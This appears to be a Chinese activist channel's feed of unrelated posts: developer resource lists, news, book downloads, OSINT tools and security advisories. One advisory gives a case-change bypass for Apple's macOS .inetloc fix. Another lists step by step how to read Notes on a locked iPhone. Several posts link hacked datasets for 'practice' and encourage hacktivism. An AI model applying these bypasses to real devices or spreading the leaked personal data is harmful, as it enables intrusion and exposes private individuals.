- https://docs.gitlab.com/ee/user/project/pages

编码挑战平台：

- https://codewars.com
- https://topcoder.com
- https://codingame.com

▼ https://hackerrank.com

▼ https://projecteuler.net

▼ https://coderbyte.com

▼ https :*codechef.com* ▼ *https://exercism.io* ▼ *https://leetcode.com* ▼ *https://spoj.com* 自由职业平台： 📌 *https://toptal.com* 📌 *https://upwork.com* 📌 *https://freelancer.com* 📌 *https://peopleperhour.com* 📌 *https://simplyhired.com* 📌 *https://envato.com* 📌 *https* :guru.com

📌 https://fiverr.com

📌 https://6nomads.com

查找远程工作的网站列表：

📌 https://flexjobs.com

📌 https://remote.co/remote-jobs

📌 https://justremote.co

📌 https://weworkremotely.com

📌 https://remoteok.io

📌 https://jobspresso.co

📌 https://wfh.io

图片：

📷 https://unsplash.com

📷 https://pixabay.com

📷 https://pexels.com

插图：

▼ https://undraw.co/illustrations

⧫ https://drawkit.io

⧫ https://icons8.com/ouch

⧫ https://iradesign.io

⧫ https://interfacer.xyz

⧫https://blush

图标：

」 https://fontawesome.com

」 https://flaticon.com

」 https://icons8.com

」 https://material.io/resources/icons

」 https://iconmonstr.com

字体：

✍ https://fonts.google.com

✍ https://fontspace.com

✍ https://1001fonts.com

✍ https://fontsquirrel.com

Youtube 频道：

🔗 Traversy Media

🔗 FreeCodeCamp

🔗 The Net Ninja

🔗 Google Chrome Developers

🔗 The New Boston

🔗 Derek Banas

🔗 Academind

播客:

🔗 Syntax

🔗 Fullstack radio

🔗 The Changelog

🔗 The Laracasts Snippet

🔗 Front End Happy Hour

🔗 JavaScript Jabber Archives

🔗 Commit Your Code!

🔗 Shop Talk

🔗 Ladybug Podcast

🔗 CodePen Radio

🔗 JAMStack Radio

🔗 Modern Web

代码编辑器:

🚀 Visual Studio Code [VS Code]

🚀 Sublime Text

🚀 Atom

🚀 Brackets

🚀 Vim

调色:

🎨 https://coolors.co

🎨 https://colorhunt.co

🎨 https://paletton.com

🎨 https://color-hex.com

🎨 https://mycolor.space

UI Inspiration:

🔻 https://uimovement.com

🔻 https://uigarage.net

🔻 https://collectui.com

🔻 https://httpster.net

Docs:

🔥 https://developer.mozilla.org

🔥 https://w3schools.com

🔥 https://w3docs.com

🔥 https://devdocs.io

动画库:

🔻 CSShake

🔻 Animate.css

🔻 AnimeJS

🔻 GreenSock (GSAP)

🔻 Magic Animations

🔻 Hover css

⧩ AniJS

⧩ Wicked CSS

⧩ Tuesday

⧩ Mo.js

⧩ Bounce.js

图表/数据可视化:

📊 Chart.js

📊 D3.js

📊 three.js

Chrome 扩展:

🏷 Web Developer

🏷 CSSViewer

🏷 Wappalyzer

🏷 JSONView

🏷 Lorem Ipsum Generator

网站优化工具:

⚡ Google PageSpeed Insights

⚡ GTmetrix

⚡ WebPageTest

⚡ Yslow

一种新的海军武器，旨在阻止你说话…… 很可能作为镇压抗议活动的武器 ——

「图」

美国海军已经成功发明了一种特殊的电子装置，旨在阻止人们说话。

作为一种“非致命性武器”，这种新的电子设备在说话者试图说话时，有效地将他们自己的声音回放给他们，而且只有他们自己能接收。

根据《新科学家》的一份报告，这项技术是在2019年开发的，并获得了专利，但最近才被发现。

这种武器的主要想法是使目标迷失方向，以至于他们无法与其他人有效沟通。

这种武器被称为 acoustic hailing and disruption（AHAD），它能够记录语音，并在几毫秒内向目标即时广播。很像一个恼人的兄弟姐妹，这个动作会扰乱目标的注意力，理论上来说，会阻止他们继续说话。

值得注意的是，该设备不太可能很快被用于战场，也就是说不会被用于针对敌人；但特别可能会被用作一种人群控制的形式—— 也就是说，在镇压抗议活动和群体事件中使用。

AHAD是由海军水面作战部的工程师开发的，该部门是位于印第安纳州的海军研究和开发机构，为该部门开发手持式和船员服务式武器。

至于该设备的技术细节，简单看一下其专利就非常有趣：

“根据本公开的一个说明性实施方案，目标说的话会被引导回他们两次，一次是立即，一次是短暂延迟后。这种延迟产生了延迟听觉反馈（DAF），它改变了说话者对自己声音的正常感知。在正常的讲话中，讲话者听到自己的话语会有轻微的延迟，而且身体也习惯了这种反馈；通过引入另一个具有足够长延迟的音频反馈源，说话者的注意力就会被打乱，就很难继续说话”。

如果你想看看这个东西的运行情况，该专利申请中还方便地包括了一种以类似方式工作的另一个设备的宣传视频：

AHAD的工作原理是使用一系列定向麦克风和扬声器，可以瞄准说话者的声音。然后目标说的话被记录下来，并以相同的方向传送回目标人。

有趣的是，广播的声音是在一个狭窄的波束上，只会被说话者听到。

这不仅会迷惑目标人，而且，最终会阻止目标人集中精力，停止说话。目标人的行为将因这一行动而明显改变，很可能也会迷惑任何正在聆听目标人的其他人。换句话说，这样的武器会让你觉得你要疯了——你周围的人也一样。

当重复的讲话比目标说话人的实时讲话晚一两个音节时，这种技术可能会最有效。你可以想想，如果你曾经在电话中经历过自己声音的回声，这将是多么令人分心。

同样重要的是要注意，像AHAD这样的设备也可以有其他应用。例如，它可以被用作船舶之间的一种电子呼唤装置。

更耐人寻味的是，正如该专利所暗示的，“通过将AHAD系统对准墙壁或角落，该系统还可以将声音投射到目标物体表面，使音频看起来来自于目标物体。” AHAD现在加入了美国武装部队目前使用的其他“非致命武器”的行列，例如，非致命的长程声学装置。

这种声波武器能够将高分贝的声波集中到目标身上，导致目标遭受偏头痛、耳鸣、或疼痛和不适。美国武装部队将如何部署和使用AHAD，还有待观察，但是，它保证肯定会惹恼敌方战斗人员，或国内反抗者。

《Domination and the Arts of Resistance. Hidden transcripts》

「图」

统治和反统治的艺术——

「图」

农民、农奴、贱民、奴隶、劳工和囚犯在权力面前不能自由地说出自己的想法。而这些从属群体反而创造了一种秘密的语话，代表了在统治者背后对权力的批判。同时，强权者也就其统治的做法和目标开展了不能公开宣扬的私人对话。

在这本书中，著名的社会科学家詹姆斯·C·斯科特对有权势者和无权势者所扮演的公开角色以及他们在台下所表现出的嘲弄、报复的语气进行了深入的讨论，也就是他所说的公开的和隐藏的记录。斯科特利用世界各地的文学、历史和政治中的案例，研究了这种互动在历史上所

采取的多种形式，以及它所反映的紧张和矛盾。

无权势者和有权势者之间的对抗充满了欺骗性—— 无权势者假装敬畏，有权势者则巧妙地宣称自己是主人。

总的来说，斯科特的项目本质上是非常广泛的，有细微差别的，复杂的，证明了批判性社会调查的广度，分层于不同但相似的统治和从属的社会环境。他的意图是阐明语话模式，特别是在不同的权力基础下运作的社会阶层中引起的 “隐藏的记录”。

他的论点非常具有说服力和深刻的洞察力。并且，他的见解为其他学者提供了某种路线图，让他们可以在确定的社会和历史环境下将上述方法应用于特定的民族国家，从而背叛了对权力关系的文本社会学分析的最大价值。

斯科特是谨慎处理这一问题的典范，尽管他大步向前，公开构建了一个合理的结构来解释主导群体和从属群体之间的语话，这些话语似乎超越了一个社会、政治、种族或性别的具体环境。他的工作无疑将继续成为社会、政治和人类学对话中的重要力量。

下载：https://t.me/iyouport/8779

下载：https://www.patreon.com/posts/tong-zhi-he-fan-53166006

《Cryptography 101: From Theory to Practice》

「图」

新书：密码学101——

「图」

加密是当下时代最好的非暴力反抗行动。对加密技术感兴趣吗？这本新书中有您想要了解的一切。

这份新资源提供了一个关于密码学领域和当前技术状态的全面概述。它解释了密码学作为一个研究领域，以及现有的各种无钥、私钥和公钥密码系统，然后它更深入地探讨了技术细节。它介绍、讨论并透视了当今可用的所有加密技术、机制和系统。讨论了随机数生成器和随机函数，以及单向函数和密码学散列函数。介绍和描述了伪随机数生成器及其功能。探讨了对称加密和验证。

这本书向读者提供离散数学、概率论和复杂性理论的概述。解释了密钥的建立。还确定了非对称加密和数字签名。由该领域的专家撰写，提供了对新手和有经验的从业者都有益的思考和概念。

下载：https://t.me/iyouport/8741

下载：https://www.patreon.com/posts/xin-shu-mi-ma-53495402

中国主要房地产开发商濒临违约 ——

「图」

由于中国最大的房地产开发商之一恒大的危机，中国的债券市场和更广泛的金融体系正面临着越来越大的压力，这对国际市场有着潜在的连锁影响。

该公司拥有超过3000亿美元的债务，在8月份，当政府命令它采取行动解决其债务问题时，它受到了审查。

该公司表示，在“政府的协调和支持下”，它正在与供应商和建筑公司合作，以恢复其房地产开发工作。该公司在中国的233个城市有778个项目。

在上个月底发布的收益报告中，该公司报告了今年净利润的下降，并警告说如果不恢复工作，项目就有“减值”的风险，其流动性也有问题。

从那时起，情况变得越来越糟。该公司正在进行一场绝望的争夺，以出售资产和筹集现金，同时警告说它面临着即将到期的债券的违约风险。

《金融时报》在其关于危机的报告中警告说，违约暴露了中国房地产市场的危险状况，将是“可能在全球市场上造成连锁反应的灾难”。

本周，在主要信用评级机构下调评级和发出债务违约的警告后，该公司的股票跌至2009年首次公开发行时的水平。该公司的股票今年已经下跌了76%，其许多债券的价格已经跌至一美元30美分左右。

惠誉评级公司再次将恒大债券的评级下调至CC，并警告将出现违约。

这家房地产开发商是中国在国际市场上最大的借款人之一，一直是过去20年中出现的房地产巨头公司中最突出的一个。它由许家印于

1996年创立，许家印在政府高官的支持下，通过大量借款和土地收购建立了一个金融帝国，并一度成为中国的首富。

但是，由于中国政府发起的控制投机的行动，特别是在房地产和物业开发方面，它受到了严重的影响，因为它对整个金融系统构成了危险。

金融当局实施了新的规定，被称为三条红线，决定公司是否可以承担额外的债务，规定涉及现金储备、股权和资产。

恒大并不是唯一遭遇重大问题的房地产开发商。本周，广州的债券在一天内下跌了20%以上，现在的交易价格是其面值的60%。暴跌发生在穆迪下调其信用评级并对该公司的再融资能力提出警告之后。

新法规的影响是广泛的。根据彭博社的一份报告，摩根士丹利计算出，在截至8月中旬的一年中，房地产公司拖欠了价值62亿美元的风险债务，比之前12年的总和还多出约13亿美元。

日本金融巨头野村的经济学家警告说，对房地产开发商的限制走得太远，是 “不必要的激进”。他们甚至称这是一个 “沃尔克时刻”—— 指的是美联储主席保罗·沃尔克在20世纪80年代初推出的高利率制度，该制度破坏了美国经济，导致了自1930年代以来最高的失业率。

《华尔街日报》作者 Jacky Wong 在本周早些时候发表的一篇文章中指出了打压房地产开发对中国经济的影响。

他将房地产开发描述为 “可以说是中国最关键的行业”，他指出，如果将建筑材料和住房用具等相关业务包括在内，“根据野村的数据，该行业去年占中国经济的16.4%”。

习近平政权收紧限制，是在 “住房是用来住的，不是用来炒的” 旗帜下进行的。但是，在促进了它现在试图遏制的投机行为之后，政府就陷入了自己制造的陷阱。

政府减少投机的努力有可能扼杀过去一段时间内中国经济增长的关键引擎之一。据报道，与一年前相比，开发商在8月份售出的房屋减少了21%。住房繁荣的程度反映在家庭借款的增加上，现在家庭借款占国内生产总值的62%，而五年前仅为44%。

正如 Wong 的文章所指出的，政府的问题是，“房地产已经与中国的经济纠缠在一起，突然停止可能是非常危险的”，如果监管的 “开启” 按钮被按得太久，可能会对 “金融稳定和增长产生非常严重的后果”。

其他地方也在表达类似的观点。美国银行的两位经济学家在周二的一份说明中警告说，房地产市场的快速放缓可能会产生“重大溢出效应”。虽然这种信贷紧缩的动机是为了稳定杠杆率和重新平衡经济，但在快速去杠杆化过程中，增长不稳定的风险正在上升。

《澳大利亚金融评论》专栏作家 Karen Maley 的评论提请注意恒大危机的国际影响。外国投资者正变得“焦躁不安”，因为中国政府正准备将恒大的房地产部门从任何救援行动中分离出来，让他们大量投资的控股公司承担债务。这将意味着他们会产生巨大的损失。

因此，他们正在“冲向出口”，寻求抛售他们的债券。正如她所指出的，中国政府的问题是，“虽然它可能能够限制恒大违约对当地经济造成的损害，但它无力限制该国120亿美元债券市场的影响”。

#tools 我们曾经多次介绍过一款从多个主要社交媒体平台下载视频的开源情报工具 youtube-dl （在这里看到介绍）它一直是一个命令行工具，虽然很容易使用，但有可能初学者会觉得不方便。

现在该工具有了一个GUI版本，您可以试试：https://github.com/jely2002/youtube-dl-gui

以下是一系列泄漏数据 ——

「图」

1、#黑客主义行动 一群黑客获得了属于 Epik、德克萨斯州共和党网站、德克萨斯州生命权网站、和反堕胎告密者网站的大型数据集的访问权限。(Epik是一家美国域名注册商和网络托管公司，以向托管极右翼，新纳粹主义和其他极端主义内容的网站提供服务而闻名。它被描述为极右翼分子的避风港，因为它愿意为其他互联网服务提供商拒绝提供服务的极右翼分子网站提供服务)

这里是Epik 泄漏的数据，它已经过优化并被压缩到只有约 33 GB 的 torrent。这将更易于访问且下载速度更快。这些泄漏数据都可以作为您练习数据分析的资源：https://t.me/iyouport/8723

2、#leaks 来自保加利亚投资公司 MK Brokers 的 23 GB 数据被黑客入侵泄漏，包括近 150,000 个文件。（请注意保加利亚和中国 BRI 的关系）：https://t.me/iyouport/8724

3、#leaks 6.9 GB 来自比利时的一家工业回收公司，该公司在整个欧

洲、亚洲和南美洲运营。 Groupe Comet专注于黑色金属和有色金属并进行研发。【如果您错过了这本书《外表是骗人的》：https://t.me/iyouport/8725 】

4、#leaks 140 GB 曼谷航空公司被黑客入侵泄漏的数据，包括机场、就业和合同信息：https://t.me/iyouport/8726

关于智能手机无线充电有多危险 This paper shows that today's wireless charging interface is vulnerable to power side-channel attacks; a smartphone charging wirelessly #leaks #private information about its activity to the wireless charger (charging transmitter). We present a website fingerprinting attack through the wireless charging side-channel for both iOS and #Android devices. The attack monitors the current drawn by the #wireless charging transmitter while 20 webpages from the Alexa top sites list are loaded on a charging smartphone

下载研究报告：https://t.me/iyouport/8722

维基百科因 "渗透和利用" 而禁止7名中国大陆的影响力用户，这是前所未有的打击——

「图」

维基媒体基金会此举是在对一群中国大陆用户进行 "长期而深入的调查" 之后采取的行动。

维基百科的监管基金会采取了前所未有的行动，禁止了7名中国大陆用户进入其全球网站，并取消了其他12名用户的管理员权限和其他特权，此前，香港新闻网报道了香港用户据称受到的威胁。

香港媒体还报道了香港用户对在线百科全书中的选举拉票活动的担忧，因为来自中国大陆、香港和台湾的用户都在争夺令人垂涎的管理员权限。此外，还发生了关于香港时事的政治敏感文章的 "编辑大战"。

维基百科为希望成为管理员的用户举行选举，管理员享有更多接触用户和编辑文章的权力。过去有报道说，中文版的用户在维基百科之外参与了选举拉票活动，试图确保中国大陆管理员的当选。

维基媒体基金会调查了一个来自中国大陆的维基百科用户的 "未被承

认的群体‘，并确定了与 ”渗透维基媒体系统有关的“ 安全风险，包括可以接触个人身份信息的职位、和有影响力的选举机构。

https://lists.wikimedia.org/hyperkitty/list/wikimedia-l@lists.wikimedia.org/message/6ANVSSZWOGH27OXAIN2XMJ2X7NWRVURF/

https://hongkongfp.com/2021/09/14/exclusive-wikipedia-bans-7-mainland-chinese-power-users-over-infiltration-and-exploitation-in-unprecedented-clampdown/

1. wikipedia #china #infiltration #exploitation

别给自己挖坑 ——

「图」

在我们总结《如何抵制全世界最可怕的以色列间谍软件“飞马”》的时候，看到了一个非常经典的且很可能具有广泛影响的思考方式——该思考方式是错误的！尤其会为具有一定技术基础的人带来误导和阻力。

【见：《如何保护自己免受蔓延全世界的最强大的以色列间谍软件 Pegasus 的攻击》 】

于是我们希望简单解释一下它为什么错误。

思考方式认为：一个噩梦的复杂性和危险程度越高，解决它的措施和工具就必然越复杂和难以获得。

媒体在描述“飞马”间谍软件时、或同类无交互零日漏洞利用时，通常会强调：这东西不需要受害者任何操作就直接中招啦！甚至只给你打个电话，都无需接听就直接中招啦！…… 这些都是事实，但它也暗示/误导了复杂性。

这种误导性的暗示不论是否有意而为 (为了吸睛度?)，都会明显导致安全性虚无主义；而虚无主义是比入侵更加危险的东西—— 它促使人们放弃自我保护，而您的放弃努力恰恰就是恶意者所期待的。

你看，即便是没有说错的话也有可能产生错误的、甚至危险的影响，这正是为什么我们一直在强调知识分子应该和活动家结盟，因为，理论是用来指导行动的，不论如何最终我们的目标是要解决问题，而不

是单纯了解问题是什么。

技术专家作为知识分子，应该致力于帮助公众解决问题，而不是放大专业领域的复杂性。

首先应该普及的正是对上述错误思考方式的纠正。

灾难的严重程度 *并不一定* 和解决方案的复杂程度成正比；当您没有盾牌时，要记得一只平底锅也能抵挡利剑，而对盾牌的技术参数如数家珍的武器专家往往会忘记平底锅的能力。

技术方面也一样。当爆破专家对如何打开一扇门计算得筋疲力尽时，外行人有可能直接拧动门把手就走了进去。

换句话说，我们当然会鼓励您对技术有一点了解，但不论您的专业程度如何，在面对一个难题时，都应该首先从最简单的外行者角度入手，然后层层深入—— 也许那扇门根本就没锁，它只是看起来固若金汤而已。

公民的开源调查工作也一样。比如验证信息真伪、追踪宣传战网络、挖掘恶意者的身份等等；人们往往觉得问题越复杂，所需要的技术工具就越高端—— 这是错误的！

开源情报＝工具＋思考方式，这两方面不分彼此地重要，如果您的思考方式是错误的，进入了死胡同，再高明的技术工具也无能为力。

切勿小看类似谷歌dorks、图像搜索、布尔运算符等等似乎特别简单的工具和方法，只要在科学的思考方式的引导下合理组合这些简单的方法，它们就很可能帮您突围：【见 《巧用互联网，找到您最想要的信息：搜索思维作为基本功》 】

将问题/灾难复杂化，只会把自己吓住；相反，从基本层面入手反而可能抓住灵感。

请注意，反抗行动的策划也是同样道理！

#leaks 这里有一些经验教训

「图」

众所周知，萨尔瓦多采用了比特币作为法定货币，并推出了政府批准的官方比特币钱包 Chivo；那么，这之后发生了什么？——

Chivo 在9月7日午夜后推出。随后，系统在凌晨三点开始出现故障，服务器容量增加，应用程序的安装直到上午11:30才重新启用，全天交易失败；客户服务热线被堵塞；Chivo 的自动取款机没有现金。上午十点后不久，比特币的价格在三分钟内暴跌了一万美元……

此事激发了大规模的抗议活动。

在9月6日的抗议活动之后，超过1000人于9月7日向议会游行，人们越过当天清晨镇压当局为阻止抗议者而设置的路障，一路前进。一群抗议者放火烧了一些轮胎。

反对派政治家穿着“反对比特币”的衬衫出席了当天的会议。

这些抗议活动并不是针对比特币本身。人们抗议的是被迫接受，政府完全缺乏透明度，以及功能失调的 Chivo 支付系统——“人们反对以比特币的名义做事”，当地商人 Patrick Murray 说….

以上只是背景，不是主题。

这个故事的主题是：#黑客主义行动。

新生的黑客主义行动组织 FocaLeaks 入侵了萨尔瓦多警方，获得了关于平民、特工和刑事调查的记录。

FocaLeaks 向 DDoSecrets 提供了更多信息，表明萨尔瓦多国家民事警察（PNC）使用的多个系统的证书被泄露。

虽然这些信息将使公众能够识别官员，并在一定程度上识别他们的活动，但在所泄漏数据的原始形式下，这些信息可能已经使许多其他人能够破坏这些相同的系统，这将暴露萨尔瓦多公民的私人信息，并使公众成员处于危险之中。

为了防止这种情况，DDoSecrets 已经从新的数据集中编辑了IMEI和PIN字段。

- ○ ■ 本次泄漏的数据集之一包含了萨尔瓦多国家民事警察（PNC）系统的登录信息。根据 FocaLeaks 的说法，欺骗IMEI允许某人访问一个定制的警察应用程序，然后可以用来访问一个平台，以获得其他数据，使他们能够进入“Imperium”平台。

⚠ “Imperium”平台包含刑事调查记录，但它也包含民事记录，包

括政府对该国每个人的信息收集，包括公民的被维稳等级、电话号码、电子邮件地址、车牌信息、和身份文件。

如果 FocaLeaks 的说法是准确的，那么就会有很大的安全风险，因为IMEI号码是无法改变的，而且对 Imperium 平台的访问有可能被滥用于寻找和报复个人，或试图敲诈可能被警方调查的人。它也有可能被用来伪装个人的身份，以达到欺诈的目的。

据报道，一些人已经向检察官办公室提出申诉，因为他们认为此次泄漏使他们自己现在处于危险之中。

📌 此事提醒中国的黑客主义行动者，您需要始终记得您的敌人是谁，并尽可能让您的行动不要牵涉无辜的人。

You can find DDoSecret's redacted data set and coverage at https://ddosecrets.com/wiki/El_Salvador_Police_Database

《Adversarial Tradecraft in Cybersecurity》

「图」

在攻防两端——

「图」

关于当黑客在您的系统上肆意妄为时该怎么办的文章很少。即使是有经验的黑客，当他们意识到网络防御者已经抓住了他们，并且正在对他们的植入物进行实时分区时，也往往会感到窒息。这本新书将沿着攻击的杀伤链提供提示和技巧，说明黑客在现实冲突中哪里可以占上风，以及防御者如何在这场猫鼠游戏中胜过攻击者。

这本书每章都有两个小节，特别关注进攻方和防守方。它首先向您介绍了对抗性行动和计算机冲突的原则，在这里您将探索欺骗、人性、经济等关于人与人之间冲突的核心原则。此外，您将了解从计划到建立双方都应具备的基础设施和工具的一切。

在这本书中，您将学习到如何通过消失在对手可以探测到的地方来获得对对手的优势。将进一步了解如何混入其中，发现其他行为者的动机和手段，并学会篡改，以阻碍他们探测您的存在的能力。最后，您将学习如何通过先进的研究和深思熟虑地结束一项行动来获得优势。

在本书结束时，您将从攻击者和防御者的双向角度对网络攻击有一个坚实的了解。

下载：https://t.me/iyouport/8749

下载：https://www.patreon.com/posts/xin-shu-mi-ma-53495402

#tools Investigator

GitHub用户 “ABHIJITH” 创建了一个简单的HTML页面，帮助您更容易对一个域名进行不同的搜索。在顶部填写一个域名，然后点击下面许多搜索选项中的一个，就可以找到子域、IP地址、证书、PasteSite中的信息以及更多。

不需要费力手动输入搜索了，只要点击一下按钮就可以：

https://github.com/abhijithb200/investigator

本拉登的书架——

「图」

在美国军队突袭乌萨·本·拉登在巴基斯坦阿伯塔巴德的大院后的几周内，美国情报界的分析人员对收回的数字资料和硬拷贝材料进行了筛选，以寻找能够揭示正在进行的基地组织阴谋、基地组织人员的身份和地点、以及其他具有直接重要性的信息的线索。经过严格的机构间审查，2015年5月20日，ODNI开始多阶段地公开发布从用于藏匿乌萨马·本·拉丹的大院中找到的文件。

2015年5月20日，国家情报总监办公室公布了其中相当多的一批文件。2016年3月1日，国防部情报局公布了从阿伯塔巴德突袭行动中收集到的第二批材料。2017年1月19日，国家情报局发布了最后一批文件。这些文件是在经过严格的机构间审查后发布的，符合总统关于“增加透明度”的呼吁—— 符合 “国家安全” 的特权，也符合2014年情报授权法，该法要求国家情报总监办公室对文件进行审查，以便发布。

对阿伯塔巴德材料的所有机构间解密审查都专门针对这套经过提炼的材料—— 那些具有情报价值的材料—— 而不是在阿伯塔巴德找到的全部材料。职业情报专业人员执行了这一机构间的工作，而中央情报局是执行机构。2017年11月1日，中央情报局发布了近470,000份文

件，其中包括以前审查过的项目的草案版本，以及以前解密审查范围之外的其他信件和材料。

这里是一个汇总：https://www.dni.gov/index.php/features/bin-laden-s-bookshelf

#tools Smat App

推荐一个好用的网站：社交媒体分析工具包（SMAT），它可以用来调查假新闻或普通的虚假消息。

它提供了对特定社交媒体网站上讨论的热门话题的洞察力，它显示其中哪些网站是已知的假新闻所在。

您可以输入一个搜索词，设置日期范围，选择哪些平台、以及您感兴趣的信息类型。之后，它会给您一个概览，告诉您一个话题被讨论了多少次，每个用户的活动，并找到与之相关的链接或信息。

https://www.smat-app.com/

小心：这种危险的文件类型可以接管您的 **Mac——#ThreatIntelligence**

「图」

macOS中存在一个漏洞，可能允许恶意者接管您的Mac控制权。苹果对该漏洞的“修复”是无效的。

独立安全研究员 Park Minchan 发现了操作系统中的一个漏洞，可以让威胁者控制您的设备。基本上，扩展名为 .inetloc 的快捷方式文件可以在其中嵌入命令，这些命令可以执行攻击者想要做的各种事。

如果有人向您发送一个扩展名为 .inetloc 的文件，而您在 Big Sur 或旧版本的操作系统上打开它，该文件就可以在您没有任何其他互动的情况下执行命令。

Ars Technica 用一个 .inetloc 文件和苹果的邮件应用程序测试了这个漏洞，结果显示，它能够通过在 Mac 上简单地打开该快捷文件来启动计算器。

Minchan 对这个问题做了一些解释，他说：“macOS处理 inetloc 文件的方式存在漏洞，导致它运行嵌入在里面的命令，它运行的命令可以

是 macOS 本地的，允许用户执行任意命令而没有任何警告/提示。最初，inetloc 文件是互联网位置的快捷方式，如RSS订阅或telnet位置；并包含服务器地址，可能还有SSH和telnet连接的用户名和密码；可以通过在文本编辑器中输入URL并将该文本拖到桌面来创建。”

苹果试图发布对这个问题的修复，但显然，它很容易被绕过。正如 Minchan 所解释的，较新版本的macOS（从Big Sur开始）已经阻止了 file:// 前缀（在 com.apple.generic-internet-location 中），但是他们做了一个case matching，导致 File: 或 *file:* 可以绕过检查。

这意味着仅仅改变文件中 “F” 的大小写就足以绕过苹果的修复，也就是说，这根本不是什么修复。

那么，现在咱们怎么办？

📌 您需要注意的是，如果您不认识的人通过电子邮件向您发送一个 .inetloc 文件，千万不要打开它！您不应该打开来自您不认识的人的任何类型的文件；即便看起来像是您认识的人发来的消息，您也应该事先通过其他渠道与此人取得联系并确认这件事—— 究竟是不是他/她发给您的，因为对方的联系方式有可能被劫持。

任何人都可以在不解锁 **iPhone** 的情况下阅读您的备忘录——**#ThreatIntelligence**

「图」

在 iOS 14.8 和 iOS 15 中存在一个讨厌的bug，让任何人在不解锁手机的情况下阅读您的Notes应用。虽然攻击者必须执行一组特定的操作，但如果他们知道这一招，只要他们有你的手机在手，就能实现。

研究员 Jose Rodriguez 发现了这个漏洞，然后被 Apple Insider 报道。他发布了一段视频，展示了利用这个bug所需要的东西。这似乎有点复杂，但是，任何愿意学习这些步骤的人都能够访问您的Notes应用程序，以及任何没有密码保护的笔记。

在这里看到视频：

该漏洞的工作有许多先决条件。首先，攻击者必须物理接触您的手机；受害者设备还必须启用Siri，控制中心在锁屏状态下可用，并且控制中心中包含有Notes和时钟。如果这些都满足了，那么这个人就可以通过上面视频中的过程来进入Notes。

首先要求Siri打开 VoiceOver。在那里，导航到控制中心的Notes。这将启动一个新的备忘录页面，然后，重新启动控制中心，打开计时器，然后选择之前打开的Notes应用。这时候iOS不再是那个空的备忘录，而是让攻击者可以进入有保存内容的备忘录数据库。

一旦有人获得了Notes访问权，他们就可以对它进行一些创造性的处理。例如，VoiceOver 的转盘组件可以用来选择和复制其中的内容。一旦复制了，第二部手机就可以呼叫受害者手机；然后呼叫将被拒绝，并且该note可以被复制到自定义Messages响应字段中。

和昨天发布的威胁情报一样，这也是那种需要物理接触您的手机才能利用的bug，但这仍然是应该解决的问题，因为您肯定不会希望任何人能够绕过您的iPhone的锁屏 —— ⚠ 尤其是当您的手机被警察抢走或被警察强制检查的情况下。

[希腊] 快递小哥大范围罢工，反对平台对零工工人的压迫。

尽管利润飙升，但这些公司已经开始削弱他们的工人。

更多全球相关动态：

[美国] 快递小哥的反抗：收集自己的数据检查算法暴政的剥削

[台湾] 快递小哥想要一个全国工会，但这并不容易

[中国] “我要我的血汗钱”：全球资本主义的算法暴政在中国

[亚马逊·意大利] 工运新时代：在供应链中团结起来

《OPERATING FROM THE SHADOWS—INSIDE NSO GROUP’S CORPORATE STRUCTURE》

「图」

谁在滋养恶魔？——

「图」

今年的泄漏数据再次将这家以色列间谍软件公司推到了聚光灯下。我们的网站上有“以色列和NSO”专栏，3年多来一直在发布相关报道和调查报告，您可以在其中看到更详细的信息。

最近，大赦国际、隐私国际组织和跨国公司研究中心 (SOMO) 合作发布了一份报告，揭示了以色列 NSO 集团的整个公司结构，追踪了公共和私人投资到这家利润丰厚的间谍软件公司的全球资金轨迹。

国际特赦组织和其他人权组织记录了数十起 NSO 集团间谍软件产品被世界各地的专制政府用来监视活动家、记者和反对派人士的案例，这对公民社会造成了毁灭性的寒蝉效应。

这份报告中提及：

来自大型私募股权公司 Novalpina Capital 和 Francisco Partners 的资金，以及他们背后的众多投资者，为NSO集团提供了资金支持。实施改革和确保NSO集团遵守人权标准的承诺仍未得到履行。

英国和美国的养老基金在这家监控公司中拥有股份。这包括英国的南约克郡养老金管理局和东里丁养老基金，以及美国的俄勒冈州公共雇员退休系统和阿拉斯加永久基金公司。

NSO集团迷宫般的结构使该公司在各个司法管辖区拥有法律和监管优势，以帮助促进投资、运营和增长。它已在不同时期在英属维尔京群岛、保加利亚、开曼群岛、塞浦路斯、以色列、卢森堡、英国和美国设立了控股公司和/或运营实体。它从保加利亚、塞浦路斯和以色列出口产品。

各国政府未能通过强有力的国内法律来确保像NSO集团这样的监控公司尊重人权，使其业务透明化，并对任何涉嫌滥用其产品的行为追究责任。

NSO集团长期以来一直拒绝披露有关其业务的基本细节，包括间谍软件销售和人权影响，这为监控行业提供了一个如何避免透明度的模板。

我们此前还发布过另一份资料：NSO’s Pegasus https://www.patreon.com/posts/quan-shi-jie-zui-38139678

在这里下载这份新报告：https://t.me/iyouport/8758

- 如果您错过了《如何保护自己免受蔓延全世界的最强大的以色列间谍软件 **Pegasus** 的攻击》

#Tool: Chrono Download Manager

发现了一个浏览器扩展，它提供了很酷的东西—— 无论一个网站的内容是什么，这个Chrome扩展都可以轻松地下载它。

无论是一组图片或视频，还是文件或应用程序，只需点击一下按钮，就能批量下载所有内容。

当然，在安装未知扩展时，通常的警告都是适用的；如果您关心安全性问题，可以在这里找到CRXcavator的报告以作为参考：https://crxcavator.io/report/mciiogijehkdemklbdcbfkefimifhecn/0.11.1?platform＝Chrome

该浏览器扩展在这里：https://chrome.google.com/webstore/detail/chrono-download-manager/mciiogijehkdemklbdcbfkefimifhecn

秘密算法的黑箱如何决定你的生活？——

「图」

AI衍生的评分根据您作为消费者、求职者、甚至法庭被告的能力或风险对您进行排名，您永远不知道自己的人生“命运”一直在被什么样的权力之手所决定。

您无从申辩，因为您根本不知道对手是谁 ……

视频：

更多相关内容：

- 《算法化新冷战的起源》
- 《你正在如何被操纵》
- 《国王们的晚宴—— 这是一场看不见的政变》
- 《无形的极权主义》
- 《技术的政治权力》
- 《秘密的信用评分算法如何让你陷入贫困》
- 《算法殖民：从不知所云的流行语到金钱驱动的流行病》
- 《媒体巨头和硅谷的武器化算法沉默异议》
- 《非物质劳动和数据收集：Facebook 的算法工厂 (第1部)——关于数字极权是如何剥削你的》
- 《心理操纵的秘密：”行为经济学”＋PR＝？》

还有更多，见列表-1 中的 “算法暴政” 板块：

https://start.me/p/xbYXdR/iyp-1

推荐一期播客，也许能对中国未来的反抗运动有所帮助——

「图」

毫无疑问，这场示威活动是一次社会爆炸。危机和由不稳定因素产生的紧张局势以及卫生系统的崩溃，导致了它的发生。

